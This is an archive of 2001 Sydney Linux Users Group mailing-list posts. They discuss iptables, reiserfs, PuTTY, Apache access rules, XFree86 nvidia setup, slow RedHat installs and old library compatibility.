  * In iptables the log target is better than the log rule.
  * Iptables has the reject target with rules how to reject (icpm)
which is non existing in ipchains.

I would go straight to iptables, skipping ipchains.
When I started using iptables I had a few questions amongst
why have two similar packages. Rusty (the maker of ipchains) ansered
that ipchains will be phased out; if you already have ipchains you
can stick with it for a while, but if you new go with iptables.

jobst




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RE: [SLUG] alternative file systems

2001-07-02 Thread Booth, Christopher (Aus) - ATP

Dumb question time

Are there conversion tools to convert from ext2fs to xfs or reiserfs ?

Chris

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To: cpaul
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Subject: Re: [SLUG] alternative file systems


On Mon, 2 Jul 2001, cpaul wrote:

 when i get my new hard disk, i think i'd like to try an alternative file
 system than ext2.  i hear a lot of good things about reiserfs.  does
anyone
 have (positive) experience with journaling file systems?  are some better
 suited to raid?

I use reiser on everything except my boot partition {I wasn't sure if I
could - still aren't, really}, and it's great.

Mounts them so fast after a lockup {which I have occasionally - bodgey SMP
bios on the motherboard/processor combination} compared to ext2 it's not
funny.

As a comparison - a 2 gig ext2 partition on a UltraWide SCSI {80 meg}
device takes about 4-5 minutes.

A 5 gig partition on an IDE {Ultra33} device takes about 4-5 seconds.

I love it.

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RE: [SLUG] Is there a SSH for Win-nt/2000?

2001-06-29 Thread Booth, Christopher (Aus) - ATP

putty.exe is a good ssh, and telnet replacement client

www.chiark.greenend.org.uk/~sgtatham/putty/

Chris

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Is there a ssh for windows NT/2000?

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RE: [SLUG] Apache: why doesn't allow from localhost work ?

2001-06-27 Thread Booth, Christopher (Aus) - ATP

I don't think that it is an apache thing at all.
If you are using a proxy address, put as exclusions in your browser proxy
settings - 130.10.11.12 127.0.0.1  localhost

Chris

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To: [EMAIL PROTECTED]
Subject: Re: [SLUG] Apache: why doesn't allow from localhost work ?


On Wed, Jun 27, 2001 at 05:48:48PM +1000, Andrew Bennetts wrote:
 On Wed, Jun 27, 2001 at 05:11:24PM +1000, Mike Lake wrote:
  # allow from localhost  # why does this not work?
 
 Are you pointing your browser at 
   http://localhost/blah
 or at:
   http://mycomputername/blah

When I point it at http://localhost/~mikel I get 
Forbidden You don't have permission to access /~mikel on this server.

AND the URL in the browser changes to:
http://mycomputername.mydomain.edu.au/~mikel/

(That means that localhost is being resolved to mycomputer.mydomain I
gather)

When I point it at http://mycomputername/~mikel I get 
Forbidden You don't have permission to access /~mikel on this server.

 At a guess, the first should work, and the second shouldn't. 
Nope. neither.

If I point it just to http://localhost I get:
You don't have permission to access / on this server.

If I point it to http://mycomputername I get the correct index.html file 
in /var/www

 Your browser is free to bind to any local interface it likes when it
creates
 a socket to connect to somewhere... default behaviour for sockets is to
 try pick an appropriate interface, so if you point your browser at a
 real IP addres, or a domain name that maps to one, it will connect
 from your internet connection's address, not your localhost one.
 I hope this helps (and I hope I'm making sense :)

Dont really follow about the binding.
I understand about mapping to an address if it can loo up an addr from a
name but not the bit about the from bit. 

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RE: [SLUG] Re: XFree86 Version 4.0.3 / X Windows System

2001-06-27 Thread Booth, Christopher (Aus) - ATP

look for an XF86Config-4 which on Mandrake is the XF86Config file for X
windows version 4, and the XF86Config file is for version 3.6

Chris

-Original Message-
From: Matthew Palmer [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 27 June 2001 12:02
To: Adam F. Bogacki
Cc: Slug@Slug. Org. Au
Subject: [SLUG] Re: XFree86 Version 4.0.3 / X Windows System


On Wed, 27 Jun 2001, Adam F. Bogacki wrote:

 apt-get install xserver-xfree86 xbase-clients
 
 (nifty the way apt-get fires up the modem for the download, then shuts it
 down)

Cool, isn't it!

 except for one thing  the install routine gave a very restricted
choice
 of video cards.
 My system uses the NVIDIA TNT2 SERIES v.365 video card so I chose the 'nv'
 option ...

A wise choice, and the best under the circumstances.  If you want the best
possible support for your card, though, you'll need to get the binary-only
drivers from nVidia's website (www.nvidia.com) and install them.  There's a
kernel module (for DRM) and a bunch of libraries which replace ones already
on your system, as well as a new 'nvidia' XFree 4 driver.

 When I rebooted I was still in console mode, with the following readout.

 (==) Using configfile: /etc/X11/XF86Config
 Data incomplete in file /etc/X11/XF86Config
   Device section Primary Card must have a driver line.

Aah, bugger.  Time to fire up the text editor and take a look at
/etc/X11/XF86Config.  My guess is it's still the 3.3.6 one, worse luck.
The Debian XFree 4 config script is still shot at this time - it
occasionally works, but usually craps up in a variety of interesting ways.

I've put up a copy of the config file I used when I was using the nv driver
previously, at http://ieee.uow.edu.au/~mjp16/XF86Config-nv.  I've since
upped to the closed-source nvidia driver, which works well but requires a
pile of fiddling.  If you're running a 2.4.3 kernel, I've got a private
package I created of all the necessary stuff.  Add a line to sources.list:

deb http://ieee.uow.edu.au/~mjp16/debian local contrib

and do the necessary update.  Then apt-get install nvidia, it'll install the
libraries and everything required.  The module was compiled for 2.4.3, but
there is a tarball of the source code for the kernel module in
/usr/src/modules if you want to recompile for another 2.4 kernel.  I doubt
it'll work on 2.2, but you can try.


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[SLUG] Linux servers growing in numbers out there

2001-06-26 Thread Booth, Christopher (Aus) - ATP

Just to advise that I had a call today from someone actually in Melbourne at
a company called coogi, who were setting up a RedHat 7.1 server as a Printer
server, running samba etc...

He had added a printer through the print tool and called it lpd.  This
seemed to interfere with the daemon called lpd .  Nothing would print so we
deleted everything from the printcap, and recreated the queue and called it
DC440 for the name of the printer.

So what, you say ?  Well I asked why he chose Linux as his print server, he
said because of cost and configurability to reduce the load on the main
server (unknown OS)

He is using it on a Pentium II 350 with 64 megs of ram, but was surprised by
the amount of space required by the install 1.3 or something gigs.  It does
run slowly though.

On a side but related note.

I just installed RedHat 7.1 at home too on the weekend, and I have a Cyrix
300 with 64 Megs of Ram.  I too find it very slow, lots of disk access for
virtual memory.
I stopped most unnecessary services.  Any ideas on getting it going faster
and more efficiently.  I have KDE and gnome installed but running a browser
like Netscape or Mozilla grinds everything to a halt.
One of the big reasons for using Linux or GNU/Linux is the ability to run it
on lower spec hardware, which I've been doing for the last 3 or so years.
But it runs significantly slower than Win 2000 does (even with only 20 meg
of disk space left to play with after booting)
Disk usage is equivalent ~1.3 gigs with apps etc...
Yes I don't need so many apps, but just by them being on the disk but not
being used shouldn't slow down the processing and take up system memory.
I have swap space of about 130 megs.
Would using the Reiserfs speed it up ? Can you convert one to the other ?

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[SLUG] Mandrake 8 firewall

2001-06-26 Thread Booth, Christopher (Aus) - ATP

2nd question

At work, I have installed Mandrake 8, I enabled the default proxy settings
through the Mandrake Control Panel.  This is called the tiny firewall.
Great, no more hacks from people on the corporate network wanting to see
what it is.  That's another story...
Ok, it disabled samba access from the outside as well as stopping someone
pinging the IP address.  I want to be able to reenable it from the network
for certain IP addresses.  I'm not sure where to look though.  Any help
appreciated.

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RE: [SLUG] Linux servers growing in numbers out there

2001-06-26 Thread Booth, Christopher (Aus) - ATP

They do choke the box, but they are a big selling point of GNU/Linuxes
ability (in Windoze users eyes) to replace windows.  Windows just doesn't
grind so much to a halt when running Netscape or IE5, Outlook Express plus
Musicmatch Jukebox etc...

I want to go Linux only, just wish things would work faster.

Chris

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From: Terry Collins [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 27 June 2001 5:49
To: Booth, Christopher (Aus) - ATP
Cc: '[EMAIL PROTECTED]'
Subject: Re: [SLUG] Linux servers growing in numbers out there


Booth, Christopher (Aus) - ATP wrote:

...snip
 He is using it on a Pentium II 350 with 64 megs of ram, but was surprised
by
 the amount of space required by the install 1.3 or something gigs.  It
does
 run slowly though.

He can probably throw most of it away, but I suppose he wants gui
config.
 
 On a side but related note.
 
 I just installed RedHat 7.1 at home too on the weekend, and I have a Cyrix
 300 with 64 Megs of Ram.  I too find it very slow, lots of disk access for
 virtual memory.
 I stopped most unnecessary services.  Any ideas on getting it going faster
 and more efficiently.  I have KDE and gnome installed but running a
browser
 like Netscape or Mozilla grinds everything to a halt.

You have just list three Gnu/Linux bloatware apps. Netscape expands to
fill the available space. KDE  Gnome positivel choke any boxen. I made
the mistake of running Netscape on Gnome on P200 recently - glacially
slow. 

 One of the big reasons for using Linux or GNU/Linux is the ability to run
it
 on lower spec hardware, which I've been doing for the last 3 or so years.

For X use, fvm or something.

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RE: [SLUG] xdvi displays RGB !

2001-06-25 Thread Booth, Christopher (Aus) - ATP

24bit colour depth does give problems on some apps, netscape being one.
Corel Word Perfect 8 is another and so is ymessenger

Don't know why though, just have to try another colour depth

sorry

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From: Mike Lake [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, 26 June 2001 2:13
To: [EMAIL PROTECTED]
Cc: Mike Lake
Subject: Re: [SLUG] xdvi displays RGB !


On Tue, Jun 26, 2001 at 01:21:13PM +1000, Mike Lake wrote:
 I made a post a while ago on my fonts in xdvi appearing strange.
 (22 May 2001). I still have not worked out what the prob is.
 
 When I run xdvi the fonts appear to be colour separated ie
 all the letters instead of being black on a white background
 are alternating, vertical blue/red stripes.
.

BTW it's definately not a colour map running out from a hog like Netscape.
xwininfo:
Depth: 24
Visual Class: TrueColor

Netscape ain't running.

Have a look at the gif and you will see what I mean. Running out of colors
from the available colormap appears quite different.

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RE: [SLUG] Why does my executable not well.....Execute!

2001-06-20 Thread Booth, Christopher (Aus) - ATP

This is the case if you want to use Wordperfect 8 on Mandrake 7.2 or 8.
Mandrake 8 actually comes with a libc compatible rpm (check out
www.rpmfind.net/linux/rpm2html/search.php?query=libc for redhat versions as
well)
You also need ld-linux.so.1
www.rpmfind.net/linux/rpm2html/search.php?query=ld-linux.so.1

I seem to remember having to install it via rpm -ivh --force libc*.rpm then
reinstalling the newer libraries from the CD the same way.  Dont use the
option to upgrade as that removes the old one, just force the install.
I then ran ldconfig and everything worked fine.

Warning though the first time I installed a bunch of libraries which really
stuffed everything up, I ended up reinstalling (why because I wanted to :))
Be careful


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-Original Message-
From: Greg Hosler [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, 20 June 2001 3:41
To: enterfornone
Cc: [EMAIL PROTECTED]
Subject: Re: [SLUG] Why does my executable not well.Execute!



On 20-Jun-01 enterfornone wrote:
 Hmmm, ok so we look on the rh7.1 install and find libXext.so.6 and
 libX11.so.6 but libm.so.5 and libc.so.5 are missing. I thought that
 Linux had this library version thing under control. Like the binary
 looks for libm.so not libm.so.5. What's going on Linux this is looking
 like a bad case of windows ddl hell.
 
 Not really, major numbers on libraries aren't compatible.  Linux, unlike
 Windows, provides a way to tell the difference between versions.
 
 So I grab the libs off the Rh6.2
 box and stick them on the 7.1 box andNothing works :-(
 
 You'll need to put the path to the new (old) libraries in /etc/ld.so.conf
 and run ldconfig
 
 You'll also (I think) need /lib/ld-linux.so.1

If you locate this (and possibly the older compatibility libraries), you
might find yourself in luck.

-G

 There should be an RPM that does all this for you, can't think of what
it's
 called tho
 
 
 
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